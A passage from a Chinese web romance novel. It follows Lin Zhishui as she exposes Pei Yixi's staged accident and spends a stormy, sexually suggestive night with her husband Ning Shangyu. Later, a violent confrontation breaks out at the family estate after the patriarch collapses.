“以后出门记得带点保镖,知道吗?”林稚水当她面,淡淡吩咐随行的一众训练有素保镖把二楼清场,姿态极为的心平气和,甚至有几分温柔说教的意味:“我也不愿被限制自由,可在外如果出现一些小意外,后悔也为时已晚了。” 裴以稀点点头:“我会好好记住姐姐的话。” “真乖。”林稚水话音落,抬手推进了医务室的门。 随着风卷入,薄纱窗帘在整洁无人的室内飘动,医护人员还未过来,她让裴以稀坐到棉白的单人担架床上,说:“等会包扎完后,会有人送你安全回家。” “你要走吗?”裴以稀控制不住细细啜泣起来:“我不敢一个人待在陌生的医院,你带我走吧,求求了,姐姐,我跟你走好不好。” 林稚水说:“看完医生,你就能回家了。” 裴以稀伸手抓紧了她袖口,仿佛牙关都在发颤:“我不想回家,我想跟姐姐走。” 半晌,林稚水轻轻叹了气:“要跟我走,那你先听话躺下,我帮你消毒清理一下额头的伤口。” 裴以稀下秒就躺好,手腕搭在旗袍的腰间,规规矩矩地没有动。 只是略侧头,看着白炽灯下的林稚水正从身旁手推车里拿出医用工具,亮得刺眼的光线反衬得她侧脸、脖颈和腕间露出的细长手指都冷白一片。 紧接着,林稚水拿起了折射出银色薄光的手术镊,脚步略靠近,弯下腰:“别怕,一点都不疼的。” “姐姐,清理伤口不应该用棉签沾点消毒水吗?”裴以稀清秀的眉头紧皱,想提醒她是不是步骤弄错了,刚想动,却骤然被掐住了喉咙:“姐……姐姐你干嘛?” 林稚水浅红的唇角弯起弧度,声音像一道柔光拂过:“别动啊,小心手术镊插破你的眼球。” 裴以稀的肩胛骨度秒如年紧贴着床单快出汗,微微颤抖的视线,盯紧了那直逼左眼的尖锐之物,但林稚水并没有下一步。 气氛无声寂静。 直到林稚水表情极冷下:“裴小姐,你以为演出一副白痴的样子就能轻易蒙骗过关吗?” 她不好骗啊,裴以稀卸掉胆怯柔弱的面具,如同叹息说:“我演技不好吗?” 林稚水说:“很差劲。” “好吧。”裴以稀接受了自己这个拙劣演技,又眨了眨睫毛:“枉费我自降年龄白叫了你这么多声姐姐,宁太太还真是一点儿都不领情,别动怒嘛,我制造这场车祸现场,只是想跟你交给朋友啊。” “第一次交朋友就想跟人回家,裴小姐太没礼貌了。”林稚水语气平静地指出关键点,早在路上时,她近距离观察过裴以稀额头的伤口是真的,也确实狠得下手。 而把外表伪装得那么逼真,可话却漏洞百出,出身在深城裴家那种无比残酷环境下长大的,心思怎么可能真单纯? 又不是有智力障碍。 想用救命恩人这种关系与她牵绊上,这招想法固然不错,林稚水却没有在外面乱捡小猫小狗回家的习惯。 继而,她垂下眼望着裴以稀,表情很清冷:“你不是什么讨人喜欢的人,最好是有点自知之明,别乱出来交朋友。” 裴以稀笑了,声音轻到有些残忍地说:“你讨厌我?可是你不敢真弄瞎我的眼睛,不是吗?” 说着,倏地一抬头。 林稚水皱了眉,眼疾手快地把手术镊收起,也就极短的刹那间,几乎是与裴以稀的睫毛摩擦而过。 裴以稀乘机摆脱她手指的禁锢,摸了一把喉咙,冰凉的触感仿佛还烙印在肌肤上,却反而露出了无所谓的表情:“你前脚才扳倒依附宁老爷子的秦家,就算是你在敲山震虎,为了坐稳当家主母的位子示威用的,但为所欲为弄瞎裴家唯一的继承人,怕是回去不好交代吧?” 林稚水被赋予宁氏的头衔时,也必然被这个身份束缚住。 “你假装没识破我的演技,我都愿意为你出车祸,你把我带回家不好吗?”裴以稀盯着长大后,美得更不像真实的林稚水,字字吐出:“何必这么难相处呢。” 林稚水轻飘飘反问:“你就很好相处吗?” 裴以稀坐在担架床沿,旗袍下摆的小腿悠悠晃动,吃准了她不敢动真格:“我很好啊,林稚水,我把我的一切跟你的一切互相交换好不好?” 林稚水定定地看了裴以稀笑盈盈的神态许久,被揭破,却像个毫无悔改的反社会人格罪犯一样,显然是在家里被宠坏了。 她不在耽误时间,转身,一声清脆的响,将手术镊扔回推车里,朝外走。 “林稚水,你就慈悲心肠让我当两天林稚水吧。”裴以稀逐步跟了上去,故意踩在她被光照得极纤细的影子上,“我踩中你了……” 拉长的尾音还没说完。 下一刻,她整个人突然失去重心平衡,是被林稚水再度掐住了脖子,狠狠地撞在了医务室这扇门上,巨响震得她额头的伤口喷溅出了点点鲜血,又沿着雪白门板擦了下来。 裴以稀没想到她真敢动手。 “啊!”唇齿间,颤出了丝丝痛苦的声音。 回应的,只有林稚水一言不发地松开了纤细手指。 继而,等裴以稀额头血淋淋的跪倒在地时,她却连眼尾余光都懒得扫过去,冷漠着往外走,恰好这时: 突然接到保镖通知的裴观若终于担惊受怕地赶来了。 岂料到,会猝不及防地撞见意想不到的这一幕…… 林稚水看到她身影,踩着高跟鞋脚步未停,擦肩而过时,落下一句:“自己的妹妹,自己处理好。” 裴观若呼吸尚未平复,下意识点头。 等林稚水被保镖护送离开这家医院,逐渐远去直至看不见,她才迈出几步,看到正耐不住痛,紧紧蜷着旗袍身子在地上那里的裴以稀。 裴观若心里很清楚,这是裴以稀一贯的招数,以前她仗着有裴胤的偏心袒护,总是这样毫无忌惮地惹出点祸事来,依稀记得前两年,深城有个豪门的千金无意间在生日宴上跟她撞了珠宝。 裴以稀记恨上后,就自导自演了一出落水被救的戏码,长达半年时间,把那位千金视为救命恩人来接近,后来等逐渐熟到成了亲密无间的闺蜜后。 裴以稀就开始残忍夺走对方的一切,从身边朋友乃至未婚夫…… 她以踩着别人的痛苦为乐,很享受把全部的人当成提线木偶来玩。 如今裴观若看着外表更像是残破木偶一样躺在地上的裴以稀,忽地笑了笑:“林稚水原来下手这么重啊。” 裴以稀睫毛都快被血液黏糊住,听到熟悉的声音,才手心捂着,痛到倒吸一口气,半响才艰难地站起来:“你很得意么,裴观若?” “有点。”裴观若在裴家只有被挨打流血的份,难得看到高高在上的裴以稀这般狼狈,笑了一会儿,又轻叹:“回家去玩你的小游戏吧。” 裴以稀问:“你怕我留在泗城?” 裴观若也问:“你想留在泗城做什么?” 深城才是裴家权势的主场,裴以稀只要待在这个地界里,几乎能横行霸道做任何事,心情不爽了,甚至可以随机抽选一个老宅里的私生子女进行羞辱和幽禁虐待。 换成在泗城,各大家族彼此关系错综复杂到了渊源颇深。 裴以稀无人约束的话,迟早要闹出事端。 裴观若确实是怕她,留下。 裴以稀却说:“我是来监督你的啊!” “监督我?” “裴观若,你别忘了父亲给你的任务是成为宁商羽身边的解语花,从他身上偷窃到事关收购舟隆港口重大项目的商业机密。” 本身裴氏的家族产业就是在航运领域上,现如今在生意桌上,跟宁家成了最激烈的竞争对手,而裴胤对这个国际港口势在必得,因此才会派出惯用的美人计布局。 而裴以稀能来这,是已经在家说服了裴胤。 她明面上潜伏在林稚水身边,而裴观若则是暗地里攀附上宁商羽……姐妹俩联手里应外合。 怎知救命恩人这招,失效了。 想到这,裴以稀淌着血迹的脸困惑几许,盯着陷入沉默的裴观若问:“我演技真这么差劲吗?林稚水小时候救你不是救得挺善良的吗?” 裴观若眼里没情绪:“她是善良,又不是没脑子。” 裴以稀表情彻底冷下来。 裴观若如今有所依仗,自然有底气跟她正面交锋,从包里拿出手帕,一点点的抹去裴以稀额头的血迹,奉劝道:“妹妹,父亲用的是美人计,你离美人还有十万八千里,就别妄想借林稚水,出现在宁商羽面前了,回去吧。” 此时此刻,林稚水已经抵达研究所。 虽然中途被意外耽误了一点时间,但是她看到在夜幕下像是一座巨大洁白的珊瑚建筑物时,心底不由地升起了虔诚之心。 从侧门入口进去。 林稚水呼吸变得很轻很轻,从一楼观赏到三楼的实验室,犹如是置身于色彩绚丽的海洋花园,她甚至怕惊动了模拟潮汐涌动的玻璃缸内那些珊瑚礁,便安静隔着距离。 而清亮的明晃晃灯光把她倒影,也间接地映在里面。 有那么一瞬间,林稚水觉得自己的灵魂生长出了柔软的触角,正颤巍巍的,跟这些美丽柔软的生物交流。 她睁着清澈如水的眼睛看了好久,久到玻璃外,另一道高大俊美的身影犹如覆于她后背,压迫感十足地笼罩了过来。 林稚水这才后知后觉地意识到,是宁商羽来了。 她站着没有动,短暂的几秒内心跳不争气的加速了起来,等着宁商羽被西装严密包裹的宽阔胸膛极具存在感地贴到了她后背的肩胛骨,就着亲密姿态,修长的手指故意划了她眼尾痣一下。 “魂没了?” 就跟按开关似的,林稚水倏地转身主动抱住他:“宁商羽,你什么时候把别人的珊瑚研究所收购了,其实我在家养一点小珊瑚也很满足的……” 虽嘴巴这样说。 实则眼里已经亮晶晶,看他就像看世界上最完美无缺的男人! “投资时顺手收购的。”宁商羽嗓音低沉:“给你当聘礼,要吗?” 林稚水用力点脑袋,这是她最满意不过的聘礼了,继而,她稍微踮起脚尖,在静寂而神圣的珊瑚培育实验室里,无声地靠近宁商羽,说:“我一进来就感知到跟这家研究所的珊瑚一定很投缘,你知道吗?这儿很多品种,都是我小时候也养过的。” 宁商羽淡淡笑了,视线落在她水润的红唇上。 林稚水被盯住,无法自如地控制对他的爱意,指尖触及到了近在咫尺的整洁西装,微微蜷起,又缓慢地,在心脏的位置画了个小爱心。 她这番举动,像摩擦出了火焰,隔着料子灼进了线条紧绷的肌肉表层的深处。 宁商羽眼神逐渐幽深了起来。 继而,在林稚水又往心脏处圈爱心时,他抬手,指节精致又修长,漫不经心地揉了下她面颊的红痣,又往下,用指腹强势地按住那唇。 林稚水无意识地微微张开,齿尖蹭到了他,下秒就发不出声音,直接被探到了喉咙。 宁商羽居高临下地望着林稚水逐渐开始湿润的眼眸,指关节不轻不重地模仿某种暧昧的过程在自由活动着。 时间点点漫长,那股浓郁而滚烫的冷杉气味,仿佛沿着舌尖的血管,一直注入到了她这幅美丽年轻躯体的每一寸五脏六腑和灵魂深处。 林稚水眼尾颤颤的淌下了生理性泪珠,却在不经意抬起时,发现宁商羽远不如她这般满怀爱意快盛不住,反观,他俊美的面容神色丝毫不变,被灯光清晰照映的那双清冽的琥珀眼更是看着无情无欲。 宁商羽在真正意义上,就没有被男女的情爱掌控过理智。 当快被爱意迷晕的脑海中无比清晰地意识到这点后,林稚水唇齿,下意识地咬了他指骨一口,味蕾顷刻间就尝到了丝丝血腥味。 今晚她还真是不宜出门……处处见血。 “看来下次要谨慎给你食用,吃急了什么都想咬碎。”宁商羽眉头都没皱,将筋骨修长的手指拿出来,继而,似笑非笑地调侃了一句。 林稚水仿佛没听清他说什么,沉浸在自己的世界逻辑里,睫毛颤了颤,又去看他无比理性的神色,很慢地说:“送巨大的惊喜也是夫妻义务吗?” 宁商羽瞥她一眼,反问:“不想要了?” 林稚水没有不要这家研究所,只是不甘心想求证什么,偏偏往宁商羽胸膛画爱心是没有什么魔法效果的,只会衬得他愈发冷漠无情。 她抿起了唇,很长很长的睫毛低垂在了脸颊。 宁商羽话不假,这家研究所是早年收购,有一部分的珊瑚礁也是从她捐赠给海洋生态研究中心移植过来的,不过这些都是秘书去办理。 他也就偶尔踏足此地了一两次,对周围布局还算熟。 原是想趁着今晚有空,陪她四处参观,刚走两步,侧过首见林稚水站在玻璃缸前的单薄身影静止不语,莫名的,随后感觉到胸膛内有股绵长而细微的异样沉闷感,正浮了上来。 宁商羽习惯压制本性,眼神很深地看了林稚水一下。 被他沉静的视线如有重量的隔空一压,轮到林稚水眼中露出茫然,又本能地察觉到彼此间的气氛似乎微妙凝滞得太久了。 她深呼吸了几秒,顺势朝着他走去,轻轻说:“时间不早了……我们回家吧。” 话音落地。 林稚水继续垂着小半张侧脸,很正常往实验室门外走。 只是猝不及防地,宁商羽随即用指骨突出的手掌将她手握住,完全把那纤细透白的指尖占有欲极强包裹住,就没有再松开。 那是瞬间的反应后,一直从研究所到家里的整个漫长路程都握着不放。 林稚水垂眼认真看了他半响,好不夸张地说,她薄得像是透明皮肤的手背和指尖,都被宁商羽传递而来的热度给烫得微微一点红艳。 可宁商羽就好似毫无察觉,看不见的能量感要跳出腕骨的脉搏,透过手指的热源,慢慢地势必把她仿若静止的血液流淌也给影响到…… 今晚之后。 宁商羽开始日理万机地忙碌着他接下来极其重视的收购大业。 而林稚水接下了拯救路汐的宜林岛海域水质计划,也开始专注地一心奔波在了那座空降到手上的珊瑚研究所。 两人晚上的时候,各占书房的一块地方,彼此到互不干扰程度。 到了清晨时分,林稚水经常研究专业知识到懒得回房,就着沙发入眠,不过等迷迷糊糊睁开眼时,都会侧卧在主卧那张黑丝绒大床上。 紧贴着她裹着真丝睡袍后背的,是晚醒一步的宁商羽胸膛。 也不知是不是一个月时间的药效快过去了。 宁商羽天天滚烫的超级厉害,比落地窗外的刺眼日光更盛,而林稚水眼皮透红,能提前几秒醒来,都是被他的体温给活生生烫醒的。 她额头贴着蓬松枕头不动,粘着侧脖的乌黑发丝都不自知的潮了,默数着,很快身后就传来了掀开被子起床的动静,是宁商羽醒来了。 下一秒,他进了浴室。 第55章 宁商羽能抑制长达一个月身体生理反应的试药看着短时间内有效了,实则试过才知道,还伴随着潜在的巨大副作用。 通俗易懂点儿,就是他旺盛的欲被科技药物强制性屏蔽后,都惊人的积攒在了这具高大强壮的年轻躯体里,很沉,最后会以三倍冲击力爆发出来。 林稚水早已察觉出宁商羽天天滚烫得很不对劲,在他公务行程繁忙之中,却亲自赴美一趟又当日折返后,便不露声色地寻了个机会在私底下问起了奚宴。 奚宴心思灵敏体贴,这边把试药检验的最新报告,秘密发给了她一份。 三倍爆发啊??? 林稚水精准地捕捉到这行字眼,轻浅的呼吸都急促起来,心想到,宁商羽的量本身就大,还三倍?随即,她垂下睫毛,认真地端详起自己这副犹如玻璃容器的小身板,能盛的住么?! 会不会被岩浆一样的滚烫给残酷熔化掉…… 林稚水光是把这份报告逐字看完,便无端很热,仿佛从心尖上卷起了潮湿的热浪似的,惹得前后冒汗。 然而,当林稚水以为宁商羽药效过去后,按照以往霸道又傲慢的脾性作风,肯定就不会再极端克制什么,漫漫长夜一些夫妻该履行的义务也会水到渠成的发生。 结果转眼半周过去,宁商羽在强烈的性瘾浪涛里偏偏越禁欲,他把旺盛精力都倾注到了宁氏家族的重大国际港口收购项目上。 这项目是宁徽诏在位时就已经商业战略布局了两年。 后来随着权柄一起移交到了宁商羽手头上,他本身就手段非常强势激进,准备独占所有人想要拿到的港口运营权,将宁氏庞大的版图更进一步覆盖西太平洋地区,更不准备分一杯羹的利益出去给跟宁氏旗鼓相当的顶级财阀家族。 即便是被虎视眈眈盯着,宁商羽先后婉拒了发小圈里最有实力的谢家和容家的有意注资。 这些涉及商业机密的消息,林稚水都是光明正大在书房旁听到的。 她只择一块小小的办公地盘,选在离落地窗近些的丝绒沙发里,身子陷在里头,被真丝睡袍温柔包裹的肩胛骨贴着靠枕,手心捧着平板,在查研究所近年培育出的珊瑚幼虫资料,实际心思飘浮着。 不远处的宽大书桌前,落地灯的暗黄光影晕染着宁商羽线条锋利俊美的脸孔,他神色淡漠地处理着紧急邮件。 气氛愈发寂静的室内,能听到袖子衣料擦到桌沿细微声响,以及,呼吸声,和偶尔林稚水极轻幅度地调整了一下窝着沙发的懒洋洋躺姿。 宁商羽处理到第三封时,抬起眼皮,看向了林稚水,她又换了个姿势,改成侧卧,清晰可见那身霜雪白的睡袍沿着后脖到小腿脚踝正整齐穿着,入目尽是白,仅用一条嫣红色绸缎当腰带束紧,无形中仿若平添了一抹艳痕。 宁商羽好整以暇地注视了三秒,又收回视线。 等回复到第四封邮件,他再度看过去,林稚水开始变得很安静地贴着沙发,柔密的纤长睫毛也低低垂下,像前几晚,可能过个一时片刻,她自己都不知怎么就睡着了。 “要不要回床上睡觉?”宁商羽起身,不紧不慢地走到她面前,“我抱你回去。” 林稚水正在专注想事情呢,指尖不自觉地在屏幕画着圈圈,忽地,被他给惊扰到,略有点茫然抬起头,“嗯?” “夜色很晚了。”宁商羽低低静静注视着她。 林稚水下意识去看身侧落地窗外,也还好,夜幕依稀透出灰蓝的色调,她再去看墙角边缘的华丽摆钟,自然而然的说:“才八点多,也算很晚了吗?” “不晚吗?”宁商羽溢出喉咙的嗓音在气氛下显得分外低而清晰,又透着股理所应当的意味,仿佛只要他觉得晚,这个时间段就是该回房了。 林稚水脑子思绪的都是正经事,起先,是没回味过来这是他想亲近自己这副身子的深意,清透的眼瞳无辜盯着宁商羽,直到,那绕紧腰身的衣带被男人修长的食指扯松了。 真丝的料子犹如薄雾,顺着白得无瑕的肩颈无声散开,盈雪似的弧度顷刻间跃着落地灯上碎金的光芒,带着丝丝缕缕的灼意似的,沿至了弯曲的膝盖往下,也非常直观地坦露着。 宁商羽神色沉静无波澜,眼底的琥珀色却比灯光,更浓烈几分。 林稚水倏然紧缩起了心脏,虽不知哪儿招到他起了这方面的欲,但是宁商羽明明白白的暗示过于强烈,随着影子无形地映下来,连带那点儿光芒,也被他吞噬掉了。 …… 暴雨是凌晨之前降的。 在环境昏暗的宽敞主卧内,林稚水犹如像深秋雨夜里美丽却脆弱的水生植物,埋在枕头上的白净眉心紧紧蹙起了,呼吸惊颤地,察觉到今晚的雨量暴增,仿佛要从高耸参天的落羽杉那面落地玻璃砸进来。 林稚水被浸着雨水,随着轰隆一声巨雷逐渐响个没完,生理性的水珠也很快沿着眼尾淌下来,要沿着像湖泊般颜色深蓝的真丝床单,流到外面去。 宁商羽胸膛起伏,附在她的耳畔安抚:“没有用全部,放轻松。” 林稚水始终在忍耐,神智恍惚间听这样一说,也觉得外面雨势好像轻了,可还未等松口气…… 陡地。 暴雨更猛然而用力地拍打进了犹如琉璃质地的落地窗。 是全部,分毫未藏的进来了。 水温很高,林稚水顷刻间全身的白皙皮肤透着比眼尾痣还要红的颜色,仰着湿润的脸,眼眸含着茫然又懵懂几秒的水汽:“好大。” 琉璃外的暴雨加惊雷,跟宁商羽的心脏跳动声频率是一致的。 都响得很大。 林稚水的薄弱心率完全跟不上节奏,在脑海中白茫茫一片时,手指松开枕头,下意识地去握紧他的手臂,继而,透粉的指甲在那烙印着那道长达20cm以上的黑色极简直线刺青的性感肌理上面,反反复复地抓出触目惊心的血痕来。 好像在跟这个罪大恶极的大坏人置气似的。 宁商羽从容不迫地让她撒气,过会儿,更巨大的暴雨降下,低首贴着她脸颊,漆黑短发几分凌乱垂坠在额际,也把极盛的锋利眉眼遮挡住了,看不清真实翻滚的情绪。 林稚水喜欢他露出完整额头的样子,俊美得哪怕三魂七魄都心甘情愿被他摄走。 当即就没忍住,把当她赏心悦目视线的几缕头发,都向后拢,手指落在宁商羽额头一直流连忘返没移开,指尖微微带着颤。 不是她有意要颤,是宁商羽偶尔的突如其来粗暴,也会引得她惊到。 “宁商羽……” “嗯。” “早知道今晚……我得给你锁一条链子,你现在到几倍了?” “……” “有没有三倍了?” “……” 过会儿,今夜暴雨更大了,宁商羽嗓音低沉响起时,线条紧致流畅的胸膛起伏得很明显:“没有。” 雨势还是有一部分留在高耸参天的落羽杉外的,毕竟全部砸进主卧,会将林稚水这株水生植物给摧残到夭折的地步。 她到凌晨时,已经意识疲倦又混乱到,既想宁商羽离自己近一点,又想他离远点,真远了,蜷缩起来的小心脏又感到莫名的难受。 导致林稚水泪汪汪的,眼眶红得愈发可怜兮兮。 宁商羽偶尔会低声哄她会儿,在这个短暂的空隙里,他伸长手臂,拉开床头柜的抽屉,从里面慢条斯理地继续拿个,拆开包装,重新换上。 用掉的,便都扔在了床下的洁白地毯上。 林稚水尾音拖得又软又黏在埋怨他,用这么多。 “都满了。”宁商羽盯着她无意中流露出无比脆弱又无措的琉璃眼,好似怎么欺负都行,让他联想到了很多美好的东西,极度控制已久的强烈破坏欲,顷刻间也在惊雷中被激发了起来。 想弄碎她。 到后半夜,林稚水像是圣洁又剔透的琉璃容器彻底被雨水盛满,已经不能再往里,滴一点点了。 身子也几乎累倦到了无法自主呼吸,全靠宁商羽极具耐心地,亲吻她,温度很烫的薄唇把新鲜的气息,沿着唇间缝隙,从喉咙蔓延到了她的心肺。 等彻底活过来,不能视物的朦胧视线逐渐恢复清明,人已经在浴缸里了,水流声骤然在耳畔响起,哗啦啦的,稍微侧过柔软脑袋,发现是宁商羽跟她一起洗。 林稚水只有眨眼的力气,小嗓子湿乎乎地的问:“我还好吧?” 宁商羽看她在频繁的刺激之下,意识还不很清醒,不过倒是惜命,第一反应是关心自己的身体健康,于是薄唇溢出危险又致命的低笑:“很好,你自己觉得呢?” 林稚水又柔又乖地歪着脑袋,真思考了起来,“你太粗暴了。” 这是她对这场夫妻义务的点评。 非常客观! 不带任何个人私怨色彩、以及对他盲目的爱意那种!!! 她虽然脑子都快被今夜暴雨砸晕,可好几次稍微清醒一下的时候,都觉得他是完整的入了,又看不到,没证据! “谁粗暴?” 林稚水没证据,但是宁商羽却有她的,随即,在浴室雪亮光线下,他把烙印着黑色刺青的手臂递到她眼下。 那指甲印,道道都透着鲜红,专门是往紧实肌肉去划破的。 林稚水垂着眼的视线定格住几秒,瞬间变哑巴似的,肩膀也微微瑟缩了一下。 紧接着,宁商羽从不亏待自己,便攥住她手腕,引导着,要求着她做出点弥补,帮他清洗。 林稚水今晚被惊人的“小老公”来回折腾得够呛,已经不是很爱它了,于是蜷了蜷透粉的手指,轻轻一咬牙关:“我没抓啊,你有什么证据是我抓的呢?” 宁商羽面无表情:“你没抓,是猫抓的。” 一个小时后。 他把这只爱抓人的毛茸茸白色小猫从里到外洗干净,拿出药涂抹完后,又用浴巾裹干净,才抱回了主卧。 从地毯到床中央,都痕迹斑斑,蔓延着雨夜里爱与欲混合着的荒唐。 林稚水无暇细看,被抱到稍微清爽点的位置躺下,继而,听到宁商羽胸膛游刃有余贴着她后背时,说:“看床边。” 林稚水一副困倦至极的可怜模样,原本都快模糊睡着,忽地听到这句,下意识去看,也没看到,启唇说:“什么都没有啊。” “很快就有了。”宁商羽刺青的手臂很自然搭在她腰侧,热量和冷杉的气息都熏染着她,漫不经心地说:“下次摆个摄像机在这个位置上,看看能不能录到那只爱抓人的逞凶小猫。” 林稚水睡意顷刻消散,也分不清是因为他的触碰,还是话,连面颊都发烫起来。 录下来啊?! 不知道为什么,林稚水更倾向于宁商羽没有故意为了吓唬她,才这样说的。原本感觉被岩浆似的热量给溶解了一遍的身体,除了酸外,又开始有水流迹象起来了。 宁商羽比她更一步察觉到,手臂正缓慢抬起,还没有动作时,搁放在床头柜的手机倏地就刺耳的响了起来。 凌晨四点的时间,本不欲理会。 林稚水唯恐他三倍的副作用还没彻底泄完,又把她摁住,便善解人意的提醒起来:“接电话。” 宁商羽抱着她没放,只是高大的身躯稍微起来点,将手机拿过来。 是宁濯羽的深夜致电。 接通时。 宁商羽语调淡漠:“有什么事?” 宁濯羽那边置身的背景似乎格外喧闹,衬得他的音调略低又罕见的严肃:“哥,老宅这边出事了。” …… 老宅出事。 自然是得宁商羽这位坐头把椅的掌权人来主持大局,这种重大场合,连林稚水都必须去露面,等赶到时,从乌云隐露的天光逐渐洒在了气氛瞬间变得死寂的老宅里。 能有这个进家族核心圈的羽字辈都来了,一眼望去,在露天的宽敞庭院内,满目的衣冠似雪。 宁商羽迈步踏入,一袭黑色高级面料的西装在身,衬得锋利又俊美的面色更加冷漠,无形中散发着权力链顶端上位者的那股极盛压迫感。 林稚水第一次来老宅,怕会迷路,下意识地跟紧了宁商羽身后。 而在屏风旁,站得笔直的宁濯羽看到他来了,便上前:“老爷子脑溢血晕了过去一阵,家庭医生已经在竭尽全力抢救了,暂时没有生命安危……” 宁徽诏的地位犹如宁氏的百年老树,平日里又和蔼厚待每个子孙,哪怕能力弱点毫无建树的,他不赋予权,却都会庇佑每一个身上流淌着宁家血脉的孩子此生享尽荣华富贵。 无论是出身嫡系还是旁支,没有谁会希望宁徽诏遽然倒下。 宁商羽居高临下地扫视了一圈众人,言简意赅问道:“老爷子最后见的是谁?” 宁濯羽接过话:“宁惟羽。” 众所周知宁惟羽无事时就爱待在老宅温顺谦和的敬孝道,但是事实也确实是,他半夜把宁徽诏给气到这番身体失态的地步。 下一秒,宁商羽那双摄人的琥珀眼,冷冷地扫到一直沉默异常站在庭院中心被天光笼罩着的宁惟羽身上,他长腿迈开步伐,在众目睽睽之下走了过去。 大家都默契站了起来,亲眼目睹着这幕发生。 宁商羽没有用身为兄长的权势压力,而是用最原始的方式,犹如西装暴徒,一拳头凶猛地击打在了宁惟羽那张略显阴郁的脸孔上,几乎无人敢拦阻,直接见血。 宁惟羽额际青筋暴突,一口血水吐了出来。 他挨完突然发怒的这拳,也不甘示弱地回击过去,两个男人的年轻体格和实力几乎强悍到了势均力敌地步,就犹如雄狮争夺领地,毫不留情地要将对方彻底厮杀。 林稚水呼吸屏住,心脏几乎都要随着激烈的打斗而停跳。 她耐着性子旁观了三分钟,可是见还没停手的意思,睁大的眼眸突然看向宁濯羽:“你们这些做弟弟的,不去劝架一下吗?” 宁濯羽今夜神态严肃到一改平日懒散,没任何回应。 在座各位都是自幼接受弱肉强食的丛林猛兽教育理论,敢挑战统治者的权威,就得做好流血受罚的心理准备。 气氛久久凝固却暗潮汹涌。 直到宁惟羽重重砸在了地上,雨也不知何时落下,他起伏的胸膛闷痛不已,低咳的嗓音嘶哑,却偏偏要扬起令人打寒噤的冷笑。 在宁商羽神色冷漠,筋骨匀长的手掌掐住他喉骨,力道逐渐变得极重。 “都是宁琛启的儿子,我凭什么就是私生子?”宁惟羽缓慢又疯狂地,字字问他:“凭什么啊?” 宁商羽没有回答。 犹如当年,两人尚且还年幼时就因这个私生子事件,在后花园大打出手过,那时宁惟羽充满了阴暗的仇恨心思,不甘心他一出生都没享受过父爱,也没被宁琛启公平给予个光明正大的身份。 还是宁徽诏做主,把他带回家族,明面上过继给二房当儿子。 甚至为了抹去这个丑闻,对知晓这些秘事的人都下达了封口禁令,不允许有任何私生子传闻弥漫在宁氏家族。 后来宁琛启空难死了,还是为了可笑的给他唯一血统纯正的宝贝儿子补过生日才死的,宁惟羽内心就更仇恨了,他那年问过宁商羽: “我们的父亲死了,你伤不伤心啊?” 宁商羽险些把他打死,直到宁舒羽一无所知的跑来天真劝架,混乱中替他挨了一脚。 这些年的分庭抗礼,争权夺位,每次都棋差一招,离他触手可得之物,只剩下一点点距离时,宁惟羽都会失之交臂,被宁商羽高高在上的夺走了。 他今晚让宁徽诏深夜召回老宅。 被言语上警告了一番,别为了争权内斗在收购舟隆港口项目的事上做手脚。 宁惟羽便质问了宁徽诏。 做长房宁琛启的私生子就这么见不得光? 后来的事情发生,是他没有料到的,会因一句话,把宁徽诏刺激到了当场脑溢血的严重地步。 宁惟羽如同困兽,偏不低头,想继续冷嘲热讽着,喉骨却逐渐不堪宁商羽杀气四溢的力道,在对持中,连粗重的呼吸声都快停止。 “宁商羽!” 林稚水的声音突然叫他。 置身雨中的宁商羽却置若罔闻,毫不掩饰地想要了结宁惟羽。 林稚水担忧的情绪浮现在心头,她不能任由宁商羽这样下去,裙摆下的脚步轻轻朝他走了过去。 “商羽……” “你看看我,我是稚水,林稚水。” 离近了,在冰冷的透明雨幕里,几乎能闻得到宁商羽身躯透露出的浓郁血腥气息,混合着熟悉的那股淡淡冷杉味,仿佛把庭院的中央无形中划分成了一小块斗兽场。 无人能接近。 林稚水毫不犹豫地踏入了这片充满危险的地方,慢慢地,抱住他,从心口感知到了他线条紧崩的肌肉处于残酷搏命的状态里。 而她纤细的手愈发抱紧,轻轻的说:“我锁住你了,商羽,我在的,我一直会锁住你……” 林稚水像是琉璃容器,把他的愤怒欲望都一点一点的盛走,留下理性。 宁商羽盯着宁惟羽,被西装衣袖包裹的手臂肌肉依旧绷起,没有放松。 下一秒,林稚水语气委屈说:“商羽,我好疼啊。” 宁商羽像无意识的本能反应,松手了。 犹如捕猎状态的狮子放弃了准备扼杀的猎物,继而,恢复非常冷静的状态,也因此,莫名的,林稚水突然想掉眼泪。 她眼尾才刚刚红,宁商羽便抬手,冰冷的指腹替她抹去不存在的痕迹,“别哭。” 第56章 铺天盖地的千万雨珠骤然泼洒着宁商羽。 他脱下西装外套,将近在咫尺间林稚水这具略显伶仃单薄的身子严密笼罩住,随即,黑色皮鞋踩踏着冰冷的地面,在一众家族利益共同体的羽字辈兄弟们主动后退避其锋芒之下,神色淡漠地离开了庭院。 林稚水僵立在原地,眼眸凝视着宁商羽高大挺拔的身影消失在门口,这一刻,她忍住了心口上涌的情绪,清楚宁商羽的强大,好似能极度掌控自身到了不需要任何人小心翼翼的安抚。 继而,她没有在露天雨幕站太久,而是慢慢地走进庄严典雅的厅内。 最前端。 是象征着掌权人地位的紫檀太师椅,高背中央镶有汉白玉石,四周则以镂雕火焰形云纹作衬,就这么高得令人心惊的置于此处,仿若这深宅之主。 林稚水披着宁商羽的西装,在上面静静坐着。 她像极了从云端俯视在场一个个外形就非常具有这个家族特质,气度英俊锐利的各房男人们,然而,也承着四面八方投来的眼神,犹如被生性傲慢的狮群环伺,有充满了审视意味的,也有混着不详的,皆是默契不语。 林稚水那双明澈剔透的眼瞳不见波澜,转而看向了立在屏风旁的宁濯羽,语气平静地像说一件应当要吩咐的事:“濯羽,把他带下去处理伤口。” 宁濯羽正色道:“是。” 宁惟羽像物竞天择法则里彻底失了自尊的猛兽,濒临死亡般的重伤倒在了这片供养他的土壤里,说出私生子三个字的那刻起。 二十年之前,那场在破败烂尾楼里被宁氏家族寻到时的经年暴雨,此刻当头浇下。 宁濯羽迈步过去,沉沉的看了几秒五官僵冷苍白又渗透了猩红血迹的宁惟羽,随即,微蹲身,悍然用力地把人从地上拽了起来。 离开庭院时,他不经意地回首,恰好此刻,金色的日光从厚重云层翻浪,直直地沿着雕刻的窗格照进厅内正中央。 林稚水浴在光线里,依旧静坐高堂,黑色宽阔的衣袖垂坠在洁白腕下,犹如是一尊悲天悯人的白玉雕像。 让人无端地想要避开直视,唯恐被超度。 老宅里外封锁了风声,宁徽诏尚未苏醒之前,一众子孙都在这里严加以待的守着。 而宁惟羽疑是长房私生子这个真相,也跟惊雷乍起一样,巨震波及了在场能有资格进入核心圈的每个人内心,逐渐地,都恍然明白了过来。 